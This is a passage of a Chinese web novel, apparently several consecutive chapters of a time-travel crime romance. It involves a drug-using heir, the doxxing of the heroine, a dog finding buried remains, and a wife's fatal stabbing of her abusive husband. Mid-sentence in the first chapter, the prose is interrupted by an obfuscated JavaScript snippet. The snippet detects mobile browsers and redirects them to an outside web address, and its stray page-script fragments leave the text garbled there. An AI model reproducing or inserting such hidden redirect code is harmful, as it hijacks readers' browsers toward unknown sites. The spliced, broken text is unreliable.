宋挚有些吃惊,还在消化信息,他没想到李豫这么早就知道卢宇年吸毒,也没想到卢宇年这么早就染毒了,他以前和他们都不怎么往来。 至少,从未交心。 “吸毒?!”宋挚的情绪表露得有些夸张,“他怎么会染毒啊?” “我不知道。”李豫表现得极为冷淡,见怪不怪,“好像高中就吸了。不过他这种二世祖,吸是迟早的事,圈子不行,本身脾气又不好,没人和他真的交心,但是有钱,一空虚,随便来个人撺掇撺掇就抵制不了诱惑了。” “那你呢?”宋挚蹙眉,“你没碰吧?” “当然没!”李豫停止咀嚼,“我又不傻,那玩意儿会损耗人的意志和身体,我可不是什么衣食无忧的二世祖,我有我的目标和理想要追逐。” 此刻,宋挚发现李豫虽然不设防、不敏感,也不是什么高情商的人,但想事情是简单通透的。 “没想到是这样。”宋挚一边夹菜一边试探,“我还以为能多条路,还想着让你给我搭线,以为你和他的关系很铁来着。” 李豫开始捣鼓桌上的小蒸鱼,“切,要不是我爸总让我和他多交流,我根本就不想理他。说来,你明明牛得很,我怎么感觉你这么焦虑啊?老是说想多条路,你现在的路不是走得很好吗?” 宋挚低头一笑,心中感叹李豫当真是个简单通透的人,兴许这也是他无效伪装的原因。 “你说得对。”宋挚抬手,拍了拍李豫的肩,“我是该好好专注当下的这条路,心无旁骛,方能成事。” “其实我在想......”雎安心中有个主意,“2017年的李豫知之甚少,我们要不要到2023年去?这样可以问出来更多。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702526|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫离开后,宋挚让服务员撤掉了大部分菜,重新点了雎安爱吃的菜。此刻,雎安坐在正厅的餐桌上,一边吃着葱油猪肚一边提议。 “可是,你一旦去了2023年,就不好往回走了。”宋挚温柔地注视着雎安,“这里还有校园三尸案没有结案,事关卢宇年,如果能和他有牵扯、把他送进监狱的话,那可是天大的好事。” 他耐心地解释道:“虽然不知道现实中有没有这个案件,但我觉得,这个案件比询问李豫更有价值。李豫给我的感觉,是不太想牵扯进复杂事务里的人,如果是被动牵扯的话,以他的处境,大概率也不会知道些核心内容。” 雎安认可地点头,在将饭菜咽下去后,道:“我也觉得,我觉得他很狠卢宇年,卢宇年也很看不起他,不太可能和他分享什么关键信息。我猜他觉得碳酸钡中毒案有蹊跷,很可能是打听到的,没有实质性证据。” 见雎安一直在大口吃菜,都没喝过汤,宋挚将汤碗往前推了些,“根据你给我描述的情况,我觉得李豫发出那个快递,引导的成分居多,他是想引导我去查案、找证据。” 雎安躲开前进的汤碗,傲娇地昂了昂头,表明自己就只想吃菜。 “我还以为你会随便吃点,等我出来再一起吃饭呢~” 结果却在和李豫吃饭的时候,吃得饱饱的。 雎安的声音里带着些不满,宋挚精准地接收到了,“安安,我是为了让他彻底放下戒备,让氛围更加放松,看似把主要的注意力放在了饭菜上,实则一直在留意谈话内容。” “你懂得。”宋挚凑前了些,扬唇一笑,“如果只是随便吃两口,其实一直在打量对面用餐的人,对方是能感觉到的、是会觉得别扭的。” 突然的贴近让雎安的心跳漏了一拍,她像是被冻住了一样,三秒后,才往后一缩,让宋挚往后退,不许打扰她用餐。 见状,宋挚笑着,坐直了身体。 “不对!” 安静得用餐了五分钟的雎安,突然意识到不对,“那张照片是后来拍的,你找宋教授是之前的事,你怎么可能会画出那张照片来?” 明显,雎安的提问让宋挚怔愣了几秒,但他很快就解释道:“雎安,你记得我之前给你说过的,有关于装置的事吗?” “记得。” 宋挚告诉她,装置是独立于现实的还不完善的四维空间,理论上,我们应该是可以反复不断地去到任意一个时间点。但目前,他们往前,最远只能去到6岁的那个时间点,往后,最远只能去到进装置前的那个时间点,而且得保证那个时间点他们还存活在这个世界上,且每个时间点只能去一次。 也就是说,假如雎安去了2017年6月15日的中午一点到两点,那么这个时间点的她就被占领了,后续实验的她就不能再重返这个时间点。 “因为我知道宋教授第一次进入装置的确切时间,所以我第一次去找他的时候,是直接到了落地窗前。前面的故事,也就是画画的事,是我后来去的。” “可......你这样不就是倒序穿梭吗?” 雎安放下碗筷,表情变得极其严肃,眉梢愈沉,声音都凌冽了几分。 “难道......你放弃了现实生活,打算永远待在装置里?” 96. 唯有报复,能给予他平静。^^…… 2023年6月22日,端午节,晚上八点。 雎安叫了滴滴,回到酒店,瘫倒在床上。 她知道事情被捅破的那一天,她必然要承担撒谎的后果、承受宋挚的怒气和恨意。 只是,她没想到会来得这般快,更没想到宋挚发泄怒气的方式竟是这样的......饱含情欲。 那是吻,又不是吻。 她感受到了恨意,却又能从中探出一丝爱来。 她想,他这辈子都忘不了她了。 不论他和她以后是否还有可能纠缠在一起,与他而言,她已经是他人生中特别的存在,不会轻易被抹去。 思及此,雎安洗澡时,那被咬破的嘴角一直挂着笑,回到床上后,就这么甜甜地进入了梦想。 而另一边的宋挚却辗转难眠,怒气未散。他做了很多次深呼吸,但还是没能让躁动的心和即将失控的情绪得到丝毫平静。 于是,他站起身,换了身运动服,打开跑步机,开始爬坡,同时将耳机的音乐声调到最高。 雎安是宋教授引荐的人,他一开始就不放心她,但因为几次聊天的共鸣,他觉得她的共情力很强,人也很善良。他的心,就是想要尝试去相信她。 所以,他选择了半信半疑。 他收买了廖学文,让廖学文在每次实验后都泄露一些资料和关键信息给他。毫无疑问,廖学文发现了不对劲,或者说,他早就开始质疑宋教授的诸多决策了。 所以,他找到机会和宋挚吐槽,说宋教授不知是怎么了的时候,还刻意夸大了某部分现实。 宋挚带着愤怒和疑问回到实验室,察觉现实全然没有改变,且不善撒谎的雨姐有异样的时候,几乎就已确信雎安和宋教授一起骗了他。 而他不死心,还假装无意地试探雨姐,由此得到的结论是,他更确信自己的判断。 他被骗了。 他被骗财、骗色、骗感情。 这被骗的感情不是爱情,而是对未来的希望。 越是思考、越是深陷其中,他逐渐加快速度,直到达到了百米冲刺的极限,他挥汗如雨,不得不关掉跑步机,停了下来。 宋挚喘着粗气,脸上都是汗水,汗水顺着他的额头滑落,打湿了他的衣衫。 她此刻在做什么?回到家了吗? 宋挚拿起一旁的汗巾,用力地一顿乱搓。 她是不是在笑他傻?快乐地挥霍着他的金钱? 宋挚承认,他的头脑失了控,不停地假想着一切糟糕的事。 她之前承认过,她和他在装置里有很深的纠葛,她是不是凭着装置里对他的了解,就敢来现实中这样戏弄他?! 宋挚越想越气,他想借助洗澡来冷静冷静,却在水流遍布全身的时候,不受控地想到了她。 他意识到,他被骗得很惨。 洗完澡后,他躺在床上,又想借助久违的游戏来发泄情绪,而他却频繁失神,脑海叫嚣着要去找她。 质问她,亦或是,给予她惩罚。 他终于意识到,或许唯有报复,能给予他平静。 雎安做了个梦,是美梦。 梦里,宋挚凶巴巴地来找她,最后却落了泪。 她抱着他,给予他安慰。 她打心底里期望着宋挚能原谅她,以至于影响到了潜意识,做了这个梦。但回归现实,她知道很难实现。 换作以往,她肯定会花大量时间内耗、后悔、难受。 而此刻,向死而生的她,在短暂的情绪起伏后,便果断起身,准备换衣服出门,继续推进她的计划。 她要去跟进毒品案的调查,询问碳酸钡中毒案的受害人子女,还要调查母校外是否有三具尸体未被发现。 她太忙了,忙得足以麻痹自己。 夜间休息的时候,她习惯了关掉网络和开启静音。所以,在打开手机,看到上百条信息和二十几条未接来电的时候,她直接愣在了原地。 “怎么了?雎安。” 陈思雨抱着家里的腊肠犬,走在宋教授的前边,跟在雎安的身后,“你怎么一直在看手机。” 雎安眉头紧蹙,看着很是焦躁,“我的电话不断,还收到了很多骚扰信息,我猜……我是被开盒了。” “啊?!”陈思雨一向稳重,此刻却反应极大,明显是被吓了一下,“怎么会这样?昨天不是还好好的吗?是谁干的?” 雎安叹了口气,“我也不知道,一觉醒来就这样了。” “最近有得罪过什么人吗?”宋教授问道。 雎安的脑中闪过宋挚的脸,但很快便否定了这个可能。 “虽然他发现了我撒谎,但我觉得宋挚不会做这种事。” 雎安话还没说完,宋言林已经彻底慌了神,原先挺拔的身躯好似失了力般。 “我敢肯定,阿挚不会做这种事。”宋言林的大脑陷入了一阵空白,“你想想看,还有谁?” “那就只有卢宇年了。”雎安答得极其肯定,“我离职的时候,让他难堪了,以他的个性和手段,做这种事的概率很大。” 雎安话音未落,宋言林已经无心听她分析,转身就要离开,“雎安,我担心阿挚的情况,你知道的,他有情绪病,我担心他会接受不了无法改变的事实。” 不等任何人回答,宋言林小跑着往停车场去了,完全没管被落下的两个女生和一条狗。 “教授这是......”陈思雨欲言又止。 “正常。”雎安又叹了口气,扯出个笑容,“教授做这么多,不是为了什么真相,本意是为了宋挚,为了宋挚能健康地活下去。” 陈思雨垂眸,摸了摸怀中的小腊肠,“那我们还去吗?” “去,当然去。”雎安看了眼极为刺目的太阳和围栏里途径的人群,“只要能保证安全,我们就照计划进行。” “雎安。” “嗯?” “普普想要你抱。” 普普就是雨姐家的腊肠犬的名字。 “啊?!”雎安有些怕,“我是挺喜欢狗的,但我没养过狗。说实话,我有些怕的。” 陈思雨一般都 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在来这之前,雎安趁着父母不在家,摸进家里翻找初中的通讯录,然后逐个拨打黎正、黎从新和李云宇的电话,只有黎正的电话被接通。 于是,雎安以举办初中同学会为由,说想邀请他来参加,然后就得到了他失踪已久的信息。 “放心吧,雨姐。”雎安轻轻地拍了拍陈思雨的肩头,“我不是真要让普普闻出来,只是要借口说是普普闻出来的,就行了。” 语毕,普普停在了某个地点,不动了。 雎安和陈思雨俱是一惊,雎安更是凭着记忆开始确认是否就是这个位置。 “反正,要是警察问起来,就说我掉了一只珍珠耳环,我让普普闻了另一只耳环的气味,结果它就停在了这里。” 说实话,雎安对这个相似的场景是有阴影的,虽然当时的她没有看到什么,但那气味实属难忘。可当她想到这三具尸体能被警察发现的话,很可能可以把卢宇年送进监狱,她的危机也很可能就可以解除了,她便一边抗拒着一边撸起了袖子。 “不会吧,我们要刨土吗?”陈思雨下意识地往后退。 雎安看眼已经刨了个小坑,准备撒尿的普普。 “雨姐,你帮我盯着周围,我怕附近有什么人。刨的活,我来就行。” “啊?!”陈思雨真心不想刨土,也知道雎安是感知到了她的抗拒,才说出让她盯梢的话,“可是,刨土得有工具吧,我们都没有带工具。” 雎安晃了晃手中的直柄伞,“带工具的话,我们的理由就说不通了,而且我记得这起案件的细节,尸体埋得并不深,我用雨伞来辅助就行了。到时候就说普普停在这,一直吠叫,我们就好奇地探了探。” 语毕,普普在它挖的小坑前站定,竟真的开始不停地吠叫。 雎安先是一惊,蓦地转头,看向普普,而后回头和陈思雨对视一眼,屏住呼吸,开始小心翼翼地往前挪。 她看见,位于小坑的最底部的边缘处,有一节手指骨。 97. 周浮沉的打量 “你怎么了?”周浮沉见雎安的状态不佳,将手中的酸奶递给她,“心事重重的,被吓到了?” 周浮沉得到的信息是,一个女生和带着朋友在母校附近办事,原本想着在校外拍几张照片留念,结果丢了一只耳环,就让宠物犬帮忙找耳环,找耳环的过程中,意外发现了一节手指骨,便报了警。 这就是雎安事先准备好的说辞。 “对,是有点,可能是水逆吧,最近发生了很多事。”说着,雎安叹了口气。 “阿挚呢?”周浮沉意识到不对,雎安和陈思雨已经等了两小时,宋教授和张百星都来了,却没有看到宋挚的身影,“你们吵架了?” 周浮沉的这个问法,好像默认她和宋挚在一起了似的。 雎安自嘲地笑笑,“你误会了,我和他就是普通朋友。” “普通朋友就不可以吵架吗?”周浮沉勾唇,笑意淡淡的。 雎安挑眉,“可以,我们也确实是......起了点矛盾。” “因为这个心烦的?”周浮沉问道:“要不要我帮忙?” 正合雎安的意! 她之所以在周浮沉面前表现出一副郁闷至极的丧气样,就是为了引起他的注意。兴许是周浮沉太忙,兴许是他觉得冒昧,雎安本身是有些纳闷的,装着装着,就只觉得累了。在她想要放弃的时候,周浮沉终于上前搭话。 “我确实很心烦,但不是因为宋挚。” 雎安将手机翻转过来,很快,就有一个电话打了进来,而消息栏那还有十几条新的未读短信,“是因为这些。” ———————— 雎安承认,她不堪其扰。 虽然没有严重到每分每秒都有电话进来,也没有奇怪的人出现在她面前,但生活在现代社会,她不可避免得要用手机,而这些时不时打进来的电话和满是黄色暗示的短信,对她的冲击并不小。 她在网上查询了解决方案,大多是采用关机停卡的策略,等事情过去了再说。 可与她而言,重要的不是被骚扰这件事本身,而是事件背后的关于她的安危暗示。以及她想借助这件事把警方的目光引到卢宇年身上。 于是,她想到了周浮沉。 周浮沉现在是刑警,而且在查毒品案,也是她唯一能想到的可利用的资源。 想到这,雎安走了神。 以往的她,哪敢想什么“利用起身边一切资源”这种事,她害怕冲突、害怕被拒绝,恨不得躲在自己的一方世界里。 而现在,她被命运推了一把,却也是主动走了出来,才发现世界如此广阔,虽然是有不少危险,却远没有她想象中的那么可怕,所谓的“利用”也没有如此得负面,甚至很多时候,会变成帮助。 “从昨晚到现在,一共有二十几通电话和三十多条短信。”周浮沉拿着雎安的手机,认真地研究着,“以电话和短信的频率来看,你这应该不是被轰炸软件弄的。” 突然,一通电话打进来。 “我也觉得。”雎安看了眼手机屏幕的来电显示,“因为我的手机大部分时间是能用的。” “要不要......我接电话问问看?”雎安微微挑眉,提议道。 周浮沉只一想,觉得办法可行,直接划了接听,“注意引导他,问他在哪得到的信息。” 雎安的“好”字还没说出口,周浮沉便按了免提。 “梅尼~”话筒里穿出一声口齿不清的问好。 “你好,你是哪位?”雎安的应答声非常得铿锵有力。 兴许是觉得接电话的会是个娇滴滴的小姑娘,对面有明显的停顿,而后道:“我享宽你照片,呢多高多重,多少钱一次啊?” 听着像是个有点年纪的老头。 “老伯,你在哪看到的我的电话?”雎安这次放低了声音,“是有人给你发小广告吗?” 老伯察觉到不对,短暂沉默后,挂了电话。 “这......” “让我来吧!”方才听到动静,凑过来的梁询拿过电话,笑道:“套话,我很擅长。” 梁询没有选择打电话,而是预览了所有的短信,选了个看起来最“色欲熏心”的,发了条问好信息过去,对面很快就有了回复,说想看照片。 梁询得到回复后,给雎安和周浮沉展示了一下屏幕,而后开始和对面的男人聊一些不痛不痒的话题开始,然后询问男人是在哪发现了她这么宝藏的女孩。 整个过程,对话相当自然,进展极为顺利,屏幕对面的男人甚至忘记了他的“宝藏女孩”还没给他发照片呢~ “说是在蓉湖公园的公厕里看到了一个小广告,上边印着一个美女的照片,下边用大头笔写了个电话。”梁询将手机还给雎安,“就是你的电话。” “最近得罪过什么人吗?”周浮沉侧身问道。 雎安假装思考了一番,“前几天,我前公司的戴总把我叫到了她的办公室里,说想把我调去一家新公司当助理,那家公司的老板是她的儿子卢宇年,当时在办公室,卢宇年还故意碰了我的手,我一生气,当场推门而出!” 雎安越说越激动,“我在同事面前和他们对峙,说老娘不干了!给了他们难堪。我觉得,要说最近得罪了谁,我只能想到戴总和卢宇年了。” 听完雎安的一番描述,梁询挑了挑眉,周浮沉则是蹙了蹙眉。 “那真有可能是他。” 周浮沉的面上竟然表露出了嫌弃,这与他贵气的形象对比,很是罕见,这与雎安而言,很是新鲜。 “如果是他,他肯定不会自己去写,肯定找人代写的。”周浮沉还在分析,“不太好查,不太好弄。” “要不......”雎安的目的已经达到,故而不打算去再纠缠,“我找个骑手去厕所把电话划掉。有用的话,最好,不行的话,我就换张卡。” 周浮沉脱口而出,反驳道:“不是电话的问题,这事关你的安全。” 闻言,梁询识趣地离开了现场。 雎安本以为,忙碌的周浮沉在听到不用麻烦他调查她这种小案子的时候,会表现出松了一口气的神态。 显然,这回答出乎她的意料。 “嗯,也对。”雎安的脑中不受控地显现出装置 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雎安扯了扯唇角,全程回应得很慢,看似是受惊后的反应迟钝,实则是在思考什么已知信息是她不能说的,以避免引起麻烦。 五分钟后,周浮沉停止询问,准备起身离开:“你还不能走,待会儿得进去录一份正式的笔录。” “嗯。”雎安抬头,仰视周浮沉,“麻烦周警官了。” 周浮沉站起身,俯视着雎安,犹豫再三,还是说出了口,“我感觉你......变了很多。” 他直视雎安的双眼,发现雎安看向他的眼眸不再闪烁、不再退缩。 “眼神、言语、身体姿态,都不一样了。” 从周浮沉的视角出发,她和他第一次相遇是在6月10日的市隶图书馆,今天是6月23日,不过是13天,不到两周的时间,雎安的变化无疑是巨大的。 雎安先是面露出一丝惊色,片刻后,她坦然地笑笑,“最近这段时间经历了很多事、也想明白了很多道理,所以,人变得坦然了很多。” 周浮沉一边眨眼一边点头,似乎是想尽可能自然地打量一番雎安。 以往,周浮沉看人都是直视、直勾勾地看个够,完全像在审视犯人。此刻,他有些不好意思和慌张的模样,反倒引得雎安笑出了声。 “周警官,你放心,我精神状态很好。” 闻言,周浮沉的眼神不再闪烁,“我没觉得你有问题。” 他看过太多人在短时间内变得萎靡而颓废,却鲜少目睹有人能在短时间内变得自信而闪耀。这种本处于黑暗、却闪着光的感觉。 一时间,晃了他的眼。 他突然意识到,自己竟然是带着羡慕的情绪,在憧憬...... 可他在憧憬什么呢? 周浮沉微微蹙了下眉,很快收起自己发散的思绪,展颜笑道:“我觉得你现在很好。” 转身前,他咬了咬唇,似有个内心纠结的过程,似在下定什么决心。 “今晚要不要一起吃个饭?” 98. 更坚定、更冷厉的周浮沉 在装置里的时光,于雎安而言,如同偶像剧般美好。 自从宋挚与雎安表白,雎安接纳了本我、接纳了宋挚以后,他们总是待在一起吃饭,即便没有刻意约定,早餐、午餐、晚餐、下午茶,一餐不漏。 有一次,宋挚开车带雎安去嘉源广场吃牛排,雎安不喜欢车库的气味,便在一楼广场下了车。 三十三度以上的炎热夏天,就算打了伞,雎安下车后仍疾步往前,希望能快一点进入商场。 而还在咖啡店打工的吴珺就是在这时,冲出了店外,手指着一个黑衣男子,高声喊:“小偷!抓小偷!” 雎安循声望去,一眼便认出了吴珺,以及......火速将黑衣男子压倒在地的周浮沉。 周浮沉穿着一身蓝色运动衣,发型和气质与雎安上次在装置里碰见他时一样,不似现实中那般成熟,更为凌厉、也更有少年的张扬。 可他的眼神却截然不同,别说是2017年的周浮沉了,甚至比2023的周浮沉都更坚定、更冷厉。 而当他抬头,意外发现她身影的那一刻,他的眼神彻底变了。 一个男人突然眉目含情、几欲落泪地看着对面的女人,一个女人慌乱地避开视线、视而不见。 两人对峙着,都没有进一步动作。 在路人的视角看来,眼前的画面堪称文艺电影,耳边还有黑衣男子粗鄙的咒骂声助燃,吃瓜的热情顷刻被点燃。 “谢谢你,就是这个人偷了我们店里的张学友签名专辑。”吴珺从门外走进来,站定在两人中间,背对着雎安,挡住了周浮沉的视线。 雎安这才注意到,吴珺手上有伤口,伤口还冒着血。 “还动!店员都指认你了,拒不承认对你没有任何好处。”周浮沉厉声呵斥。 黑衣男子的脸被摁在窗上,视线受阻,并不知道周浮沉说的店员是谁,“她骗人!你让我和她当面对质。” “单凭你刚刚言语恐吓,还想出手伤人,去派出所就没跑了。”周浮沉根本不松手,“要是觉得自己冤屈,就和警察慢慢说去,他们会调查清楚。要是你真的清白,我会道歉并赔钱给你。” 黑衣男子冷哼一声,唇角一勾,恶狠狠地说,“我记住你了!臭小子。” 似是觉得不够有威慑力,男子一个字一个字的极其用力地又重复了一遍,“我记住你了!” “好,你记好了,一定不能忘!” 周浮沉冷着脸,不为所动,声音极其有力地回应,“我是华州警察学院的周浮沉,是守护人民生命财产安全的预备警察。你可以来学校找我,我随时欢迎你。” 语毕,不知是谁鼓起了掌,大家便都跟着鼓起了掌来。 周浮沉在掌声雷动的环境下,难得表露出害羞的神色,飞速赶来的两位民警恰巧撞见这场景,以及周浮沉背包上的六个大字,一名民警将犯罪嫌疑人扣押后,另一名民警还忍不住夸赞了他几句。 周浮沉表情淡淡的,出于礼貌,耐心地回应他们,同时却心不在焉地左看右看。 民警察觉到他的异样,提醒他得去派出所做笔录,不能直接离开。 “放心,我知道的,我只是想先和我朋友说几句话。” 民警见周浮沉忧心忡忡的模样,便放他去处理他自己的事情,转身提醒吴珺先去处理伤口,之后要叫上店里的同事一起去派出所做笔录。 吴珺听完,点头说好,临走前意味深长地看了眼走到雎安面前的周浮沉。 “能和我说会儿话吗?”周浮沉语气中竟带着祈求的意味。 雎安感到惊奇,又对周浮沉这个人存有诸多疑问,自是愿意跟他聊聊。 他们走到售卖大牌服装的商铺附近,周围虽然还是有行人,但比刚刚人来人往的嘈杂地安静很多。 “你是......”雎安话还没说完,就被周浮沉一把拥入怀中。 这个拥抱来得太过突然,雎安毫无准备,也来不及反应。 周浮沉的臂膀用力将她紧紧地圈进怀里,带着不容拒绝的霸道,而他拥向她时的眼神又是那么悲伤,靠近她时,他的悲伤又如春雪一般消融。 “你能不能先松开我?”雎安被这莫名其妙的一出弄得有些不安。 雎安等了会儿,见他一点动静也没有,路过的人纷纷侧目,雎安面上发烫,挣脱他的欲望愈加强烈,她将自己原先放在身体两侧的手抬起,连带着脸一起用力推动他的臂膀,试图挣脱他的怀抱。 可周浮沉像是在刻意使坏一般,雎安越是用力推,他的手臂就收得越紧。 眼前的周浮沉,和现实中的周警官很不同,却完美得符合装置植入给她的记忆中的周浮沉。 一时间,雎安竟走了神。 ———————— 昏暗得有些诡异的房间里,地上摊放着两个行李箱,她就坐在窗户对面的桌椅上,对着窗外的雷电发呆,脑海里不断闪现管晋云对她说过的话。 还有,那鄙夷的眼神。 “你别再自欺欺人了,这是我给我儿子买的房子,你为什么能住进来,自己好好想想吧。” 雎安眼神呆滞地看着屏幕上显示的银行卡余额,终于意识到自己真的颓废太久了,久到生活给她下了最后通牒,让她必须在自强自立和依附堕落之间选择一条路。 此刻,门外响起急促的脚步声,紧接着便是门锁被开启的声响。 终于到要说清的时候了。 雎安的右手下意识地抓紧自己的左臂,望向门口处的眼神透露着深深的不安。 “这是什么意思?”周浮沉先注意到的是满面愁容的雎安,而后是她极不自然的姿态,最后才是地上的两个行李箱,“你刚从成都回来没多久,又要出去旅游?” 雎安视线跟随着周浮沉移动,摇头道:“我找到了工作,公司有配宿舍。所以,我打算搬出去住。” “什么?!”周浮沉蓦地蹙眉,脸色瞬间沉下来,“你要搬去哪里?” 雎安垂下头,没有回答。 周浮沉深吸口气,放缓自己逼问的语气,在雎安对面的椅子上坐下,“是不是因为我爸妈的话让你难受了?那你可以告诉我的,我可以另外给你安排住处,宿舍毕竟简陋,还很有可能要和别人挤,没有独立的空间,我也可以借钱给你租房,你可以慢慢还。” “如果我不 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“我知道起初你帮我是因为愧疚,我也知道你拘留我爸的事。可说实话,我不觉得你有错。是我爸引导我妈问我银行卡密码,还偷走了我的卡,转走我工作这几年所有的定期存款去投资。我爸是什么人,我心里有数。至于我妈,我知道她不是有心的,但她总是一次又一次的被骗,却又一次又一次的相信我爸、背刺我。” “我对他们已经彻底失望了。” 雎安的双肩耸拉下来,深深叹了口气。 “你已经做得够多了,多得我......我已经无法承受了。” 雎安眼中泪光莹动,面上有哀求之色,“谢谢你,这两个月你把你的公寓让我住,还将我的衣食住行安排得很好。你就算之前有愧疚之情,以后不必有了。像我......像我这样的家庭......” 说到这,雎安有些哽咽,她抬起头,频繁地眨眼,试图将眼泪收回,“就算没有拘留的那件事,迟早都会出事的。” “不是这样的。”周浮沉连连摇头,想上前拉住雎安的手,雎安却反应极快地将手收回。 “不,不是这样的。如果不是我,叔叔阿姨至少不会死。” 闻言,雎安只有苦笑,“不,你不懂我妈。我妈是个很固执的人,而且她很容易心软。而我爸只要活着,就不会放弃压榨我妈的机会。“ “除了死,她这辈子都不可能摆脱我爸。” “我只是可怜我妈,我也只可怜我妈。这世上为什么会有让人这么无奈的人?每次我要拉她一把的时候,她总是推开我,我恨铁不成钢,可我又心疼她。” 说到这,雎安的眼泪像堆蓄已久的水闸突然爆破,瞬间布满全脸。 她极力控制住自己的情绪,“偏偏那次我心寒了,没有拉她一把......我应该把她带来酒店一起住,不该把她留在家里的。” 说到这,雎安失声痛哭,双手捂着脸,泣不成声。 周浮沉就这么看着,看泪水从指缝中流出,就好似他在滴血的心。 他向前两步,想给雎安一个温暖的拥抱。 99. 他早就想沉沦了。 “其实我见过很多夫妻因为小矛盾就在警局大打出手,师傅一直让我劝和不劝分,不允许我激化矛盾。虽然我一直照做,但我一直觉得那样不对。明明很多家庭就该散了,我们却还在做和事佬。” 周浮沉的声音里有愤懑,也有悔意,“正好那次我......心情很糟,你爸又在警局闹个不停,我受不了就直接把你爸给拘留了。” “对不起,还有......你父亲有外遇的事,我也不该告诉你和阿姨的。毕竟所有事闹心的事堆在一起,没几个人能保持冷静。事实证明,我师傅确实是对的。” 事实证明,矛盾确实被激化了。 拘留期满回家的邹伟聪对纪小梅大打出手,骂她和女儿都是不中用的贱人,带自己家人去警局,还害家人被拘留。而纪小梅却格外沉静,和以往大有不同,她忍受着丈夫的抱怨和拳脚,最后,才指着手机里的证据质问邹伟聪。 那是雎安根据周浮沉告诉她的信息,和邹伟聪手机中翻找到的线索,暗地里跟踪并拍下的小三照片。 图中的女人看着比纪小梅年轻不少,身材丰腴,面色红润,非常富态。 雎安拍到照片后便离开了,没有上前打扰,更没兴趣去演抓小三的戏码。因为这种事一个巴掌拍不响,要解决,就要解决掉家里的男人,这才是问题的根源。而那女人,有证据显示是她鼓动邹伟聪投资的,而且不止邹伟聪,还有不少中年男人,多半涉及诈骗。雎安打算咨询律师和周浮沉,如果应对这类情况,有没有可能追回部分钱财。 就在雎安忙前忙后的时候,收到照片的纪小梅心痛到不能呼吸,请了假将自己闷在房间里不停地翻看邹伟聪的手机和电脑。 而这状态维持了两天,睡醒了就翻,翻完就吃东西,吃完东西接着翻,几近癫狂。在邹伟聪回家的那天,纪小梅顶着巨大的黑眼圈,面容憔悴到令人不忍多看,可邹伟聪无视她的状态,盛怒下的他摔门而入,甚至都没注意到大门并没有关好。 对门的领居原本为了抓出谁家的小孩乱摁门铃而安装的监控,就拍下了纪小梅动手的那一幕。 沉寂许久的她终于爆发,将手机一把仍在地上,刺耳的金属撞击声让邹伟聪虎躯一震。 “我和你几十年的夫妻,为你生小孩、累死累活地带孩子,一直督促女儿升学,现在还要累死累活的出来工作。每天七点回家,一个月才四天假,回家还要为你洗衣做饭。可你呢,你七八年没工作了,每天蹲在家里就会趾高气昂的对我和女儿指指点点,这世上怎么会有你这么变态的人?!” “变态的是你!”邹伟聪彻底被激怒,指着纪小梅的脸,开始胡说一通,“一直都是我养你们,之前你待在家里玩不用花钱的啊?女儿的学费不是钱啊?我是一直在替你们还债。你们一点良心都没有!” 纪小梅被气得全身都在颤抖,她挥舞着双臂,突然尖叫一声,声音极度刺耳。邹伟聪被吓到,向后退了两步。 纪小梅尖叫完,拿出自己的手机,指着雎安拍下的照片,质问道:“这是谁?你说!” 眼泪不受控地倾涌而出,纪小梅自顾自地说下去,势必要将所有的委屈都说出来! “结婚这么多年,你就送过一个婚戒,什么都没送过了。可你猜我在你手机翻到了什么?全是转账记录!还有衣服和首饰的购买记录。可你根本没给我买过,也没买过给女儿。夫妻这么多年,我们一直以为你的钱早些年就被骗光了,从不敢奢求你送礼物给我和女儿。可现在看来,可笑至极!只要你想送,没钱也会送,偷钱都要送!” “什么叫偷?!就是因为你说话这么难听,我们家才有这么矛盾!你看看别人家老婆,哪个像你这么泼妇?”邹伟聪心虚了,但他心越虚,声音便越高,说的话也开始偏离事实。这就是他混迹多年,能够欺骗和压制纪小梅的手段。 “不是偷?!”纪小梅掏出兜里的银行卡,“在我们丝毫不知情的情况下,我的卡余额变成了四毛,你女儿工作这么多年存的钱,也变成了零。” 闻言,邹伟聪涨红了脸,口水飞溅,“那是你们欠我的,这么多年,你们花了多少钱?你们自己算算啊!家里的水电不用钱吗?煤气和日用品不用钱吗?” “难道这些东西你都没用吗?每天在家里蹲着的人到底是谁啊?” 纪小梅指着自己蜡黄的脸,“你老婆,人老珠黄,又瘦又枯,脸上一点光泽都没有。而你的小三呢,明明年纪和我差不多,看起来和我们的女儿一样年轻。我每次去上班,同事们不说穿金戴银,身上至少有点首饰,而我只有一个不合适的戒指,因为我早就瘦到戴不稳了。就这样,我前几天还傻乎乎地在女儿面前帮你说话,还想给你做猪肚鸡补补身子,还相信着你会出门找工作的鬼话。这么多年的婚姻,我到底得到了什么?” 纪小梅摊开手,对着天花板潸然泪下,她已经不想去看邹伟聪的眼睛,因为那没有愧疚和心痛,只有怨怼和愤怒。 耳边是邹伟聪嘴硬的回怼,他顶着满身肥肉在控诉着自己这么年的苦,而纪小梅耳朵像是失了聪,视线也被泪水模糊,她的身体仍在颤抖,最后她抬手一把抹掉眼泪,视线明晰的瞬间,她看到了身侧的剪刀。 那是家里用来拆快递的剪刀。 她没有再犹豫,做出了她的最终选择。 她说:“我没有办法原谅你。” 她说:“我了解你,只要你在人世一天,就不会放过我和女儿。而我的女儿还那么年轻,就已经和我一样瘦,和我一样憔悴。是我害了她,害她没了这么多血汗钱,我接受不了她未来会变成我这个样子。可只要有你,不用几年,她就会比我更瘦更憔悴。所以,你决不能留!” 血液飞溅,隔着猫眼看戏的领居发出尖叫,因为他看到了剪刀被刺进身体的全过程。就在他报警的间隙,他看到女人一次又一次地将剪刀拔出又刺进。她的动作利落,明明身材纤细得不行,手臂却因为长期劳作而能显露出明显的肌肉线条。她的眼神空洞,灵魂好似离开了身体。虽然是在伤害他人,但很神奇,即便她的脸和衣服上都染满了鲜血,却并不会让他感到害怕,围绕着她的好像只剩下无尽的悲凉。 领居报完警,低下头挂电话的瞬间,听到有人夺门而出。他的预感很不好,也没管自身是否会有危险,猛地推门而出,试图 